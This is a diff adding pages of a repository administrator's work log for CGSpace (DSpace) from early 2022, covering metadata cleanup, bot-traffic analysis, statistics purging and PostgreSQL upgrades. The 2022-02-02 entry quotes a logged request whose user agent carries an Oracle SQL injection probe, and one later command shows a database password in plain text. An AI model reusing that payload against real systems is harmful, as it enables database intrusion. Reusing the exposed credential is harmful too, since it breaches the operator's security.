+     10  
+   3487  dspaceWeb
+
    +
  • As before, I see messages from PostgreSQL about processes waiting for locks since I enabled the log_lock_waits setting last month:
    • +
+
$ grep -E '^2022-01*' /var/log/postgresql/postgresql-10-main.log | grep -c 'still waiting for'
+12
+
    +
  • I set a system alert on DSpace and then restarted the server
    • +
+

2022-01-20

+
    +
  • Abenet gave me a thumbs up for Gaia’s eighteen CAS Green Cover items from last month +
      +
    • I created a SimpleArchiveFormat bundle with SAFBuilder and then imported them on CGSpace:
      • +
    +
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=aorth@mjanja.ch --source /tmp/SimpleArchiveFormat --mapfile=./2022-01-20-green-covers.map
+

2022-01-21

+
    +
  • Start working on the rest of the ~980 CGIAR TAC and ICW documents from Gaia +
      +
    • I did some cleanups and standardization of author names
      • +
    • I also noticed that a few dozen items had no dates at all, so I checked the PDFs and found dates for them in the text
      • +
    • Otherwise all items have only a year, which is not great…
      • +
    +
    • +
  • Proof of concept upgrade of OpenRXV from Angular 9 to Angular 10 + +
    • +
+

2022-01-22

+
    +
  • Spend some time adding months to the CGIAR TAC and IWC records from Gaia +
      +
    • Most of the PDFs have only YYYY, so this is annoying…
      • +
    +
    • +
+

2022-01-23

+
    +
  • Finalize cleaning up the dates on the CGIAR TAC and IWC records from Gaia
    • +
  • Rebuild AReS and start a fresh harvest
    • +
+

2022-01-25

+
    +
  • Help Udana from IWMI answer some questions about licenses on their journal articles +
      +
    • I was surprised to see they have 921 total, but only about 200 have a dcterms.license field
      • +
    • I updated about thirty manually, but really Udana should do more…
      • +
    +
    • +
  • Normalize the metadata text_lang attributes on CGSpace database:
    • +
+
dspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count  
+-----------+---------
+ en_US     | 2803350
+ en        |    6232
+           |    3200
+ fr        |       2
+ vn        |       2
+ 92        |       1
+ sp        |       1
+           |       0
+(8 rows)
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('en', '92', '');
+UPDATE 9433
+
    +
  • Then export the WLE Journal Articles collection again so there are fewer columns to mess with
    • +
+

2022-01-26

+
    +
  • Send Gaia an example of the duplicate report for the first 200 TAC items to see what she thinks
    • +
+

2022-01-27

+
    +
  • Work on WLE’s Journal Articles a bit more +
      +
    • I realized that ~130 items have DOIs in their citation, but no cg.identifier.doi field
      • +
    • I used this OpenRefine GREL to copy them:
      • +
    +
    • +
+
cells['dcterms.bibliographicCitation[en_US]'].value.split("doi: ")[1]
+
    +
  • I also spent a bit of time cleaning up ILRI Journal Articles, but I notice that we don’t put DOIs in the citation so it’s not possible to fix items that are missing DOIs that way +
      +
    • And I cleaned up and normalized some licenses
      • +
    +
    • +
  • Francesca from Bioversity was having issues with a submission on CGSpace again +
      +
    • I looked at PostgreSQL and see an increasing number of locks:
      • +
    +
    • +
+
$ psql -c "SELECT application_name FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid" | sort | uniq -c | sort -n
+      1 
+      1 ------------------
+      1 (537 rows)
+      1  application_name 
+      9  psql
+     51  dspaceApi
+    477  dspaceWeb
+$ grep -E '^2022-01*' /var/log/postgresql/postgresql-10-main.log | grep -c 'still waiting for'
+3
+
    +
  • I set a system alert on CGSpace and then restarted Tomcat and PostgreSQL +
      +
    • The issue in Francesca’s case was actually that someone had taken the task, not that PostgreSQL transactions were locked!
      • +
    +
    • +
+

2022-01-28

+
    +
  • Finalize the last ~100 WLE Journal Article items without licensese and DOIs +
      +
    • I did as many as I could, also updating http links to https for many journal links
      • +
    +
    • +
  • Federica Bottamedi contacted us from the system office to say that she took over for Vini (Abhilasha Vaid) +
      +
    • She created an account on CGSpace and now we need to see which workflows she should belong to
      • +
    +
    • +
  • Start a fresh harvesting on AReS
    • +
  • I adjusted the check-duplicates.py script to write the output to a CSV file including the id, both titles, both dates, and the handle link +
      +
    • I included the id because I will need a unique field to join the resulting list of non-duplicates with the original CSV where the rest of the metadata and filenames are
      • +
    • Since these items are not in DSpace yet, I generated simple numeric IDs in OpenRefine using this GREL transform: row.index + 1
      • +
    • Then I ran check-duplicates.py on items 1–200 and sent the resulting CSV to Gaia
      • +
    +
    • +
  • Delete one duplicate item I saw in IITA’s Journal Articles that was uploaded earlier in WLE +
      +
    • Also do some general cleanup on IITA’s Journal Articles collection in OpenRefine
      • +
    +
    • +
  • Delete one duplicate item I saw in ILRI’s Journal Articles collection +
      +
    • Also do some general cleanup on ILRI’s Journal Articles collection in OpenRefine and csv-metadata-quality
      • +
    +
    • +
+

2022-01-29

+
    +
  • I did some more cleanup on the ILRI Journal Articles +
      +
    • I added missing journal titles for items that had ISSNs
      • +
    • Then I added pages for items that had them in the citation
      • +
    • First, I faceted the citation field based on whether or not the item had something like “: 232-234” present:
      • +
    +
    • +
+
value.contains(/:\s?\d+(-|–)\d+/)
+
    +
  • Then I faceted by blank on dcterms.extent and did a transform to extract the page information for over 1,000 items!
    • +
+
'p. ' +
+cells['dcterms.bibliographicCitation[en_US]'].value.match(/.*:\s?(\d+)(-|–)(\d+).*/)[0] +
+'-' +
+cells['dcterms.bibliographicCitation[en_US]'].value.match(/.*:\s?(\d+)(-|–)(\d+).*/)[2]
+
    +
  • Then I did similar for cg.volume and cg.issue, also based on the citation, for example to extract the “16” from “Journal of Blah 16(1)”, where “16” is the second capture group in a zero-based match:
    • +
+
cells['dcterms.bibliographicCitation[en_US]'].value.match(/.*( |;)(\d+)\((\d+)\).*/)[1]
+
    +
  • This was 3,000 items so I imported the changes on CGSpace 1,000 at a time…
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2022-02/index.html b/docs/2022-02/index.html new file mode 100644 index 000000000..8e991aec5 --- /dev/null +++ b/docs/2022-02/index.html @@ -0,0 +1,778 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + February, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

February, 2022

+

+ + in + Notes + + +

+
+

2022-02-01

+
    +
  • Meeting with Peter and Abenet about CGSpace in the One CGIAR +
      +
    • We agreed to buy $5,000 worth of credits from Atmire for future upgrades
      • +
    • We agreed to move CRPs and non-CGIAR communities off the home page, as well as some other things for the CGIAR System Organization
      • +
    • We agreed to make a Discovery facet for CGIAR Action Areas above the existing CGIAR Impact Areas one
      • +
    • We agreed to try to do more alignment of affiliations/funders with ROR
      • +
    +
    • +
+
    +
  • I moved a bunch of communities:
    • +
+
$ dspace community-filiator --remove --parent=10568/114639 --child=10568/115089
+$ dspace community-filiator --remove --parent=10568/114639 --child=10568/115087
+$ dspace community-filiator --remove --parent=10568/83389 --child=10568/108598
+$ dspace community-filiator --remove --parent=10568/83389 --child=10947/1
+$ dspace community-filiator --set --parent=10568/35697 --child=10568/80211
+$ dspace community-filiator --remove --parent=10568/83389 --child=10947/2517
+$ dspace community-filiator --set --parent=10568/97114 --child=10947/2517
+$ dspace community-filiator --set --parent=10568/97114 --child=10568/89416
+$ dspace community-filiator --set --parent=10568/97114 --child=10568/3530
+$ dspace community-filiator --set --parent=10568/97114 --child=10568/80099
+$ dspace community-filiator --set --parent=10568/97114 --child=10568/80100
+$ dspace community-filiator --set --parent=10568/97114 --child=10568/34494
+$ dspace community-filiator --set --parent=10568/117867 --child=10568/114644
+$ dspace community-filiator --set --parent=10568/117867 --child=10568/16573
+$ dspace community-filiator --set --parent=10568/117867 --child=10568/42211
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/109945
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/16498
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/99453
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/2983
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/133
+$ dspace community-filiator --remove --parent=10568/83389 --child=10568/1208
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/1208
+$ dspace community-filiator --remove --parent=10568/83389 --child=10568/56924
+$ dspace community-filiator --set --parent=10568/117865 --child=10568/56924
+$ dspace community-filiator --remove --parent=10568/83389 --child=10568/91688
+$ dspace community-filiator --set --parent=10947/1 --child=10568/91688
+$ dspace community-filiator --remove --parent=10568/83389 --child=10947/2515
+$ dspace community-filiator --set --parent=10947/1 --child=10947/2515
+
    +
  • Remove CPWF and CTA subjects from the Discovery facets
    • +
  • Start a full Discovery index on CGSpace:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    275m15.777s
+user    182m52.171s
+sys     2m51.573s
+
    +
  • I got a request to confirm validation of CGSpace on openarchives.org, with the requestor’s IP being 128.84.116.66 +
      +
    • That is at Cornell… hmmmm who could that be?!
      • +
    • Oh, the OpenArchives initiative is at Cornell… maybe this is an automated periodic check?
      • +
    +
    • +
+

2022-02-02

+
    +
  • Looking at the top user agents and IP addresses in CGSpace’s Solr statistics for 2022-01 +
      +
    • 64.39.98.40 made 26,000 requests, owned by Qualys so it’s some kind of security scanning
      • +
    • 45.134.26.171 made 8,000 requests and it’s own by some Russian company and makes requests like this hmmmmm:
      • +
    +
    • +
+
45.134.26.171 - - [12/Jan/2022:06:25:27 +0100] "GET /bitstream/handle/10568/81964/varietal-2faea58f.pdf?sequence=1 HTTP/1.1" 200 1157807 "https://cgspace.cgiar.org:443/bitstream/handle/10568/81964/varietal-2faea58f.pdf" "Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1)) AND 4734=CTXSYS.DRITHSX.SN(4734,(CHR(113)||CHR(120)||CHR(120)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (4734=4734) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113))) AND ((3917=3917"
+
    +
  • 3.225.28.105 made 3,000 requests mostly for one CIAT collection on the REST API and it is owned by Amazon +
      +
    • The user agent is sometimes a normal user one, and sometimes Apache-HttpClient/4.3.4 (java 1.5)
      • +
    +
    • +
  • 217.182.21.193 made 2,400 requests and is on OVH
    • +
  • I purged these hits
    • +
+
$ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
+Purging 26817 hits from 64.39.98.40 in statistics
+Purging 9446 hits from 45.134.26.171 in statistics
+Purging 6490 hits from 3.225.28.105 in statistics
+Purging 11949 hits from 217.182.21.193 in statistics
+
+Total number of bot hits purged: 54702
+
    +
  • Export donors and affiliations from CGSpace database:
    • +
+
localhost/dspace63= ☘ \COPY (SELECT DISTINCT text_value as "cg.contributor.donor", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 248 GROUP BY text_value ORDER BY count DESC) to /tmp/2022-02-02-donors.csv WITH CSV HEADER;
+COPY 1036
+localhost/dspace63= ☘ \COPY (SELECT DISTINCT text_value as "cg.contributor.affiliation", count(*) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id = 211 GROUP BY text_value ORDER BY count DESC) to /tmp/2022-02-02-affiliations.csv WITH CSV HEADER;
+COPY 7901
+
    +
  • Then check matches against the latest ROR dump:
    • +
+
$ csvcut -c cg.contributor.donor /tmp/2022-02-02-donors.csv | sed '1d' > /tmp/2022-02-02-donors.txt
+$ ./ilri/ror-lookup.py -i /tmp/2022-02-02-donors.txt -r 2021-09-23-ror-data.json -o /tmp/donor-ror-matches.csv
+...
+
    +
  • I see we have 258/1036 (24.9%) of our donors matching ROR (as of the 2021-09-23 ROR dump)
    • +
  • I see we have 1986/7901 (25.1%) of our affiliations matching ROR (as of the 2021-09-23 ROR dump)
    • +
  • Update the PostgreSQL JDBC driver to 42.3.2 in the Ansible Infrastructure playbooks and deploy on DSpace Test
    • +
  • Mishell from CIP sent me a copy of a security scan their ICT had done on CGSpace using QualysGuard +
      +
    • The report was very long and generic, highlighting low-severity things like being able to post crap to search forms and have it appear on the results page
      • +
    • Also they say we’re using old jQuery and bootstrap, etc (fair enough) but there are no exploits per se
      • +
    • At least now I know why all those Qualys IPs are scanning us all the time!!!
      • +
    +
    • +
  • Mishell also said she’s having issues logging into CGSpace +
      +
    • According to the logs her account is failing on LDAP authentication
      • +
    • I checked CGSpace’s LDAP credentials using ldapsearch and was able to connect so it’s gotta be something with her account
      • +
    +
    • +
+

2022-02-03

+
    +
  • I synchronized DSpace Test with a fresh snapshot of CGSpace
    • +
  • I noticed a bunch of thumbnails missing for items submitted in the last week on CGSpace so I ran the dspace filter-media script manually and eventually it crashed:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media
+...
+SKIPPED: bitstream 48612de7-eec5-4990-8f1b-589a87219a39 (item: 10568/67391) because 'ilri_establishiment.pdf.txt' already exists
+Generated Thumbnail ilri_establishiment.pdf matches pattern and is replacable.
+SKIPPED: bitstream 48612de7-eec5-4990-8f1b-589a87219a39 (item: 10568/67391) because 'ilri_establishiment.pdf.jpg' already exists
+File: Agreement_on_the_Estab_of_ILRI.doc.txt
+Exception: org.apache.poi.util.LittleEndian.getUnsignedByte([BI)I
+java.lang.NoSuchMethodError: org.apache.poi.util.LittleEndian.getUnsignedByte([BI)I
+        at org.textmining.extraction.word.model.FormattedDiskPage.<init>(FormattedDiskPage.java:66)
+        at org.textmining.extraction.word.model.CHPFormattedDiskPage.<init>(CHPFormattedDiskPage.java:62)
+        at org.textmining.extraction.word.model.CHPBinTable.<init>(CHPBinTable.java:70)
+        at org.textmining.extraction.word.Word97TextExtractor.getText(Word97TextExtractor.java:122)
+        at org.textmining.extraction.word.Word97TextExtractor.getText(Word97TextExtractor.java:63)
+        at org.dspace.app.mediafilter.WordFilter.getDestinationStream(WordFilter.java:83)
+        at com.atmire.dspace.app.mediafilter.AtmireMediaFilter.processBitstream(AtmireMediaFilter.java:103)
+        at com.atmire.dspace.app.mediafilter.AtmireMediaFilterServiceImpl.filterBitstream(AtmireMediaFilterServiceImpl.java:61)
+        at org.dspace.app.mediafilter.MediaFilterServiceImpl.filterItem(MediaFilterServiceImpl.java:181)
+        at org.dspace.app.mediafilter.MediaFilterServiceImpl.applyFiltersItem(MediaFilterServiceImpl.java:159)
+        at org.dspace.app.mediafilter.MediaFilterServiceImpl.applyFiltersAllItems(MediaFilterServiceImpl.java:111)
+        at org.dspace.app.mediafilter.MediaFilterCLITool.main(MediaFilterCLITool.java:212)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • I should look up that issue and report a bug somewhere perhaps, but for now I just forced the JPG thumbnails with:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media.log
+

2022-02-04

+
    +
  • I found a thread on the dspace-tech mailing list about the media-filter crash above +
      +
    • The problem is that the default filter for Word files is outdated, so we need to switch to the PoiWordFilter extractor
      • +
    • After changing that I was able to filter the Word file on that item above:
      • +
    +
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace filter-media -i 10568/67391 -p "Word Text Extractor" -v
+The following MediaFilters are enabled: 
+Full Filter Name: org.dspace.app.mediafilter.PoiWordFilter
+org.dspace.app.mediafilter.PoiWordFilter
+File: Agreement_on_the_Estab_of_ILRI.doc.txt
+
+FILTERED: bitstream 31db7d05-5369-4309-adeb-3b888c80b73d (item: 10568/67391) and created 'Agreement_on_the_Estab_of_ILRI.doc.txt'
+
    +
  • Meeting with the repositories working group to discuss issues moving forward in the One CGIAR
    • +
+

2022-02-07

+
    +
  • Gaia sent me her feedback on the duplicates for the TAC and ICW items for CGSpace a few days ago +
      +
    • I used the IDs marked “delete” in her spreadsheet to create a custom text facet with this GREL in OpenRefine:
      • +
    +
    • +
+
or(
+isNotNull(value.match('1')),
+isNotNull(value.match('4')),
+isNotNull(value.match('5')),
+isNotNull(value.match('6')),
+isNotNull(value.match('8')),
+...
+sNotNull(value.match('178')),
+isNotNull(value.match('186')),
+isNotNull(value.match('188')),
+isNotNull(value.match('189')),
+isNotNull(value.match('197'))
+)
+
    +
  • Then I flagged all of these (seventy-five items)… +
      +
    • I decided to flag the deletes instead of star the keeps because there are some items in the original file that we not marked as duplicates so we have to keep those too
      • +
    +
    • +
  • I generated the next batch of 200 items, from IDs 201 to 400, checked them for duplicates, and then added the PDF file names to the CSV for reference:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-01-21-CGSpace-TAC-ICW-batch201-400.csv > /tmp/tac.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspace63 -u dspacetest -p 'dom@in34sniper' -o /tmp/2022-02-07-tac-batch2-201-400.csv
+$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW-batch201-400.csv > /tmp/batch2-filenames.csv
+$ csvjoin -c id /tmp/2022-02-07-tac-batch2-201-400.csv /tmp/batch2-filenames.csv > /tmp/2022-02-07-tac-batch2-201-400-filenames.csv
+
    +
  • Then I sent this second batch of items to Gaia to look at
    • +
+

2022-02-08

+
    +
  • Create a SAF archive for the first 200 items (IDs 1 to 200) that were not flagged as duplicates and upload them to a new collection on DSpace Test:
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=bngo@mfin.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-02-08-tac-batch1-1to200.map
+
    +
  • Fix some occurrences of “Hammond, Jim” to be “Hammond, James” on CGSpace
    • +
  • Start a full index on AReS
    • +
+

2022-02-09

+
    +
  • UptimeRobot said that CGSpace was down yesterday evening, but when I looked it was up and I didn’t see a high database load or anything wrong
    • +
  • Maria from Bioversity wrote to say that CGSpace was very slow also…
    • +
+

2022-02-10

+
    +
  • Looking at the Munin graphs on CGSpace I see several metrics showing that there was likely just increased load…
    • +
+

Firewall packets day +DSpace sessions day +Tomcat pool day +PostgreSQL connections day

+
    +
  • I extract the logs from nginx for yesterday so I can analyze the traffic:
    • +
+
# zcat --force /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep '09/Feb/2022' > /tmp/feb9-access.log
+# zcat --force /var/log/nginx/rest.log.1 /var/log/nginx/rest.log.2.gz | grep '09/Feb/2022' > /tmp/feb9-rest.log
+# awk '{print $1}' /tmp/feb9-* | less | sort -u > /tmp/feb9-ips.txt
+# wc -l /tmp/feb9-ips.txt
+11636 /tmp/feb9-ips.tx
+
    +
  • I started resolving them with my resolve-addresses-geoip2.py script
    • +
  • In the mean time I am looking at the requests and I see a new user agent: 1science Resolver 1.0.0 +
      +
    • Seems to be a defunct project from Elsevier (website down, Twitter account inactive since 2020)
      • +
    +
    • +
  • I also see 3,400 requests from EyeMonIT_bot_version_0.1_(http://www.eyemon.it/), but because it has “bot” in the name it gets heavily throttled… +
      +
    • I wonder who is monitoring CGSpace with that service…
      • +
    +
    • +
  • Looking at the top twenty or so ASNs for the resolved IPs I see lots of bot traffic, but nothing malicious:
    • +
+
$ csvcut -c asn /tmp/feb9-ips.csv | sort | uniq -c | sort -h | tail -n 20
+     79 24940
+     89 36908
+    100 9299
+    107 2635
+    110 44546
+    111 16509
+    118 7552
+    120 4837
+    123 50245
+    123 55836
+    147 45899
+    173 33771
+    192 39832
+    202 32934
+    235 29465
+    260 15169
+    466 14618
+    607 24757
+    768 714
+   1214 8075
+
    +
  • The same information, but by org name:
    • +
+
$ csvcut -c org /tmp/feb9-ips.csv | sort | uniq -c | sort -h | tail -n 20
+     92 Orange
+    100 Hetzner Online GmbH
+    100 Philippine Long Distance Telephone Company
+    107 AUTOMATTIC
+    110 ALFA TELECOM s.r.o.
+    111 AMAZON-02
+    118 Viettel Group
+    120 CHINA UNICOM China169 Backbone
+    123 Reliance Jio Infocomm Limited
+    123 Serverel Inc.
+    147 VNPT Corp
+    173 SAFARICOM-LIMITED
+    192 Opera Software AS
+    202 FACEBOOK
+    235 MTN NIGERIA Communication limited
+    260 GOOGLE
+    466 AMAZON-AES
+    607 Ethiopian Telecommunication Corporation
+    768 APPLE-ENGINEERING
+   1214 MICROSOFT-CORP-MSN-AS-BLOCK
+
    +
  • Most of these are pretty normal except “Serverel” and Hetzner perhaps, but their user agents are pretending to be normal users so who knows…
    • +
  • I decided to look in the Solr stats with facet.limit=1000&facet.mincount=1 and found a few more definitely non-human agents: + +
    • +
  • I added them to the ILRI override in the DSpace spider list and ran the check-spider-hits.sh script:
    • +
+
$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
+Purging 234 hits from randint in statistics
+Purging 337 hits from Koha in statistics
+Purging 1164 hits from scalaj-http in statistics
+Purging 1528 hits from scpitspi-rs in statistics
+Purging 3050 hits from lua-resty-http in statistics
+Purging 1683 hits from AHC in statistics
+Purging 1129 hits from acebookexternalhit in statistics
+Purging 534 hits from Iframely in statistics
+Purging 1022 hits from qbhttp in statistics
+Purging 330 hits from ^got in statistics
+Purging 156 hits from ^colly in statistics
+Purging 38 hits from article-parser in statistics
+Purging 1148 hits from SomeRandomText in statistics
+Purging 3126 hits from adreview in statistics
+Purging 217 hits from 1science in statistics
+
+Total number of bot hits purged: 14696
+
    +
  • I don’t have time right now to add any of these to the COUNTER-Robots list…
    • +
  • Peter asked me to add a new item type on CGSpace: Opinion Piece
    • +
  • Map an item on CGSpace for Maria since she couldn’t find it in the item mapper
    • +
+

2022-02-11

+
    +
  • CGSpace is slow and the load has been over 400% for a few hours +
      +
    • The number of DSpace sessions seems normal, even lower than a few days ago
      • +
    • The number of PostgreSQL connections is low, but I see there are lots of “AccessShare” locks (green on Munin, not blue like usual)
      • +
    • I will run all system updates, copy the latest config changes, and restart the server
      • +
    +
    • +
+

2022-02-12

+
    +
  • Install PostgreSQL 12 on my local dev environment to starting DSpace 6.x workflows with it:
    • +
+
$ podman run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:12-alpine
+$ createuser -h localhost -p 5432 -U postgres --pwprompt dspacetest
+$ createdb -h localhost -p 5432 -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres -c 'ALTER USER dspacetest SUPERUSER;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost ~/Downloads/dspace-2022-02-12.backup
+$ psql -h localhost -U postgres -c 'ALTER USER dspacetest NOSUPERUSER;'
+
    +
  • Eventually I will updated DSpace Test, then CGSpace (time to start paying off some technical debt!)
    • +
  • Start a full Discovery re-index on CGSpace:
    • +
+
$ time chrt -b 0 ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
+real    292m49.263s
+user    201m26.097s
+sys     3m2.459s
+
    +
  • Start a full harvest on AReS
    • +
+

2022-02-14

+
    +
  • Last week Gaia sent me her notes on the second batch of TAC/ICW documents (items 201–400 in the spreadsheet) +
      +
    • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
      • +
    +
    • +
+
or(
+isNotNull(value.match('201')),
+isNotNull(value.match('203')),
+isNotNull(value.match('209')),
+isNotNull(value.match('209')),
+isNotNull(value.match('215')),
+isNotNull(value.match('220')),
+isNotNull(value.match('225')),
+isNotNull(value.match('226')),
+isNotNull(value.match('227')),
+...
+isNotNull(value.match('396'))
+
    +
  • Then I flagged all matching records and exported a CSV to use with SAFBuilder +
      +
    • Then I imported the SAF bundle on DSpace Test:
      • +
    +
    • +
+
$ JAVA_OPTS="-Xmx1024m -Dfile.encoding=UTF-8" dspace import --add --eperson=fuuu@umm.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-02-14-tac-batch2-201to400.map
+
    +
  • Export the next batch from OpenRefine (items with ID 401 to 700), check duplicates, and then join with the file names:
    • +
+
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-01-21-CGSpace-TAC-ICW-batch3-401to700.csv > /tmp/tac3.csv
+$ ./ilri/check-duplicates.py -i /tmp/tac3.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-02-14-tac-batch3-401-700.csv
+$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW-batch3-401to700.csv > /tmp/tac3-filenames.csv
+$ csvjoin -c id /tmp/2022-02-14-tac-batch3-401-700.csv /tmp/tac3-filenames.csv > /tmp/2022-02-14-tac-batch3-401-700-filenames.csv
+
    +
  • I sent these 300 items to Gaia…
    • +
+

2022-02-16

+
    +
  • Upgrade PostgreSQL on DSpace Test from version 10 to 12 +
      +
    • First, I installed the new version of PostgreSQL via the Ansible playbook scripts
      • +
    • Then I stopped Tomcat and all PostgreSQL clusters and used pg_upgrade to upgrade the old version:
      • +
    +
    • +
+
# systemctl stop tomcat7
+# pg_ctlcluster 10 main stop
+# tar -cvzpf var-lib-postgresql-10.tar.gz /var/lib/postgresql/10
+# tar -cvzpf etc-postgresql-10.tar.gz /etc/postgresql/10
+# pg_ctlcluster 12 main stop
+# pg_dropcluster 12 main
+# pg_upgradecluster 10 main
+# pg_ctlcluster 12 main start
+
+
$ su - postgres
+$ cat /tmp/generate-reindex.sql
+SELECT 'REINDEX TABLE CONCURRENTLY ' || quote_ident(relname) || ' /*' || pg_size_pretty(pg_total_relation_size(C.oid)) || '*/;'
+FROM pg_class C
+LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)
+WHERE nspname = 'public'
+  AND C.relkind = 'r'
+  AND nspname !~ '^pg_toast'
+ORDER BY pg_total_relation_size(C.oid) ASC;
+$ psql dspace < /tmp/generate-reindex.sql > /tmp/reindex.sql
+$ <trim the extra stuff from /tmp/reindex.sql>
+$ psql dspace < /tmp/reindex.sql
+
    +
  • I saw that the index on metadatavalue shrunk by about 200MB!
    • +
  • After testing a few things I dropped the old cluster:
    • +
+
# pg_dropcluster 10 main
+# dpkg -l | grep postgresql-10 | awk '{print $2}' | xargs dpkg -r
+

2022-02-17

+
    +
  • I updated my migrate-fields.sh script to use field names instead of IDs +
      +
    • The script now looks up the appropriate metadata_field_id values for each field in the metadata registry
      • +
    +
    • +
+

2022-02-18

+
    +
  • Normalize the text_lang attributes of metadata on CGSpace:
    • +
+
dspace=# SELECT DISTINCT text_lang, count(text_lang) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) GROUP BY text_lang ORDER BY count DESC;
+ text_lang |  count  
+-----------+---------
+ en_US     | 2838588
+ en        |    1082
+           |     801
+ fr        |       2
+ vn        |       2
+ en_US.    |       1
+ sp        |       1
+           |       0
+(8 rows)
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('en', 'en_US.', '');
+UPDATE 1884
+dspace=# UPDATE metadatavalue SET text_lang='vi' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('vn');
+UPDATE 2
+dspace=# UPDATE metadatavalue SET text_lang='es' WHERE dspace_object_id IN (SELECT uuid FROM item) AND text_lang IN ('sp');
+UPDATE 1
+
    +
  • I then exported the entire repository and did some cleanup on DOIs +
      +
    • I found ~1,200 items with no cg.identifier.doi, but which had a DOI in their citation
      • +
    • I cleaned up and normalized a few hundred others to use https://doi.org format
      • +
    +
    • +
  • I’m debating using the Crossref API to search for our DOIs and improve our metadata + +
    • +
  • I cleaned up ~1,200 URLs that were using HTTP instead of HTTPS, fixed a bunch of handles, removed some handles from DOI field, etc
    • +
+

2022-02-20

+
    +
  • Yesterday I wrote a script to check our DOIs against Crossref’s API and the did some investigation on dates, volumes, issues, pages, and types +
      +
    • While investigating issue dates in OpenRefine I created a new column using this GREL to show the number of days between Crossref’s date and ours:
      • +
    +
    • +
+
abs(diff(toDate(cells["issued"].value),toDate(cells["dcterms.issued[en_US]"].value), "days"))
+
    +
  • In most cases Crossref’s dates are more correct than ours, though there are a few odd cases that I don’t know what strategy I want to use yet
    • +
  • Start a full harvest on AReS
    • +
+

2022-02-21

+
    +
  • I added support for checking the license of DOIs to my Crossref script +
      +
    • I exported ~2,800 DOIs and ran a check on them, then merged the CGSpace CSV with the results of the script to inspect in OpenRefine
      • +
    • There are hundreds of DOIs missing licenses in our data, even in this small subset of ~2,800 (out of 19,000 on CGSpace)
      • +
    • I spot checked a few dozen in Crossref’s data and found some incorrect ones, like on Elsevier, Wiley, and Sage journals
      • +
    • I ended up using a series of GREL expressions in OpenRefine that ended up filtering out DOIs from these prefixes:
      • +
    +
    • +
+
or(
+value.contains("10.1017"),
+value.contains("10.1007"),
+value.contains("10.1016"),
+value.contains("10.1098"),
+value.contains("10.1111"),
+value.contains("10.1002"),
+value.contains("10.1046"),
+value.contains("10.2135"),
+value.contains("10.1006"),
+value.contains("10.1177"),
+value.contains("10.1079"),
+value.contains("10.2298"),
+value.contains("10.1186"),
+value.contains("10.3835"),
+value.contains("10.1128"),
+value.contains("10.3732"),
+value.contains("10.2134")
+)
+
    +
  • Many many of Crossref’s records are correct where we have no license, and in some cases more correct when we have a different license +
      +
    • I ran license updates on ~167 DOIs in the end on CGSpace
      • +
    +
    • +
+

